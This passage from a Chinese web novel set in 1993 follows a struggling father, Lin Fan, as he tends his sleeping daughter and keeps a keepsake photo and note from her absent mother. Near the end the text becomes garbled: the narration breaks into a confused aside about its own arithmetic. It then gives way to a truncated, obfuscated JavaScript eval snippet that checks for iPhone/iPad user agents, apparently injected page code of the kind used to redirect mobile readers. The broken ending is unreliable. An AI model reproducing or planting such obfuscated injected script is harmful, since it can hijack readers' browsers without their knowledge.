色了，边角还缝了块补丁——

    去年冬天笑笑尿床，褥子湿了一大片，他洗的时候不小心扯破了，就用一块旧布缝上，针脚歪歪扭扭的，比他缝裤子的手艺还差。

    他轻轻给笑笑盖好被子，被子是蓝色的，上面有个小熊图案，是笑笑三岁生日时他买的，当时花了8块钱，是他半个月的烟钱——

    他以前抽2毛钱一包的“海河”烟，一天抽一包，从那以后就戒了，把钱省下来给笑笑买东西。

    现在被子有点小了，盖到笑笑的脚踝就够了，他打算等下个月赚了钱，再去供销社买块新布，自己做一床大的——

    供销社的纯棉布2块5一尺，做一床被子要6尺布，得15块钱，他要卖50袋牛奶才能凑够。

    他就着昏暗的光线，久久凝视着女儿睡梦中仍不时蹙起的小眉头，心里像被什么东西揪着疼，疼得他都快喘不过气了。

    他想起苏晚晴以前抱笑笑的样子，她总把女儿的头靠在自己肩膀上，一只手托着笑笑的屁股，另一只手轻轻拍着她的背，哼着不成调的曲子——

    大多是当时流行的《在那桃花盛开的地方》，是蒋大为唱的，当时收音机里天天放。阳光从窗户里照进来，落在她们身上，暖得像要化了。

    可现在，只剩下女儿眉间的褶皱，和他空荡荡的怀抱，还有满屋子的寂静，只有窗外的雨声还在淅淅沥沥。

    “笑笑，”

    他低声承诺，声音虽轻，却带着不容置疑的坚定，像是在跟女儿保证，也像是在跟自己保证，“爸爸一定会帮你找到答案。

    无论妈妈在哪里，爸爸都会让她知道，有一个多么好的女儿，在等着她。”

    他从枕头下摸出一个磨破封面的旧笔记本，封面是红色的，当年是供销社卖的“英雄”牌，5毛钱一本，

    现在磨破的地方露出里面的硬纸板，纸页都有点发黄了，边缘还卷着，是被他翻得太多次。

    里面除了夹着那张泛黄的照片——

    苏晚晴抱着刚出生的笑笑，笑得眼睛弯成了月牙，怀里的笑笑闭着眼睛，小拳头攥着她的衬衫纽扣——还有一张小纸条，是苏晚晴走时留下的，只写了“照顾好笑笑”五个字。

    字迹是用钢笔写的，是当时常见的“英雄”牌钢笔，墨水是“鸵鸟”牌，1块2一瓶，质量不算好，容易洇墨，加上泪水浸泡，“笑”字的最后一笔都快看不清了。

    他每次看都要小心翼翼，怕纸条再碎了——他把纸条夹在两层塑料膜里，塑料膜是从旧包装袋上剪下来的，能防水。

    他用指腹轻轻擦了擦照片上的灰尘，像是在擦拭一段被尘封的时光，指尖触到照片上苏晚晴的笑脸，鼻子突然一酸，眼泪差点掉下来。

    他赶紧把照片塞回笔记本里，怕眼泪滴在上面，把照片弄花了——这是笑笑唯一一张有妈妈的照片，1993年胶卷洗照片不容易，丢了就再也找不回来了。

    雨停了，窗外透进清冷的光，照在对面修车铺挂着的铁皮招牌上，“张师傅修车”四个字被雨水冲得有些模糊，“张”字的一点都快看不见了。

    张师傅是镇上唯一的修车师傅，以前在国营汽修厂上班，后来下岗开了修车铺，修一辆自行车补胎要1块钱，换链条要3块钱。

    招牌下面还挂着个旧轮胎，是去年冬天换下来的，轮胎上还扎着个小钉子，上面挂着点泥，风吹过的时候，轮胎会轻轻晃，发出“吱呀”的响声，在安静的清晨格外明显。

    林凡站起身，走到柜台前，从抽屉里拿出仅有的50块钱——

    那是他昨天卖了两箱“活力28”洗衣粉和几瓶酱油攒下来的。酱油是本地酿造的，1块2一瓶，利润只有2毛钱，两箱洗衣粉才赚了8块钱（一箱12袋，一袋赚3分钱，两箱赚7**2？不对，原文说两箱赚8块，可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|i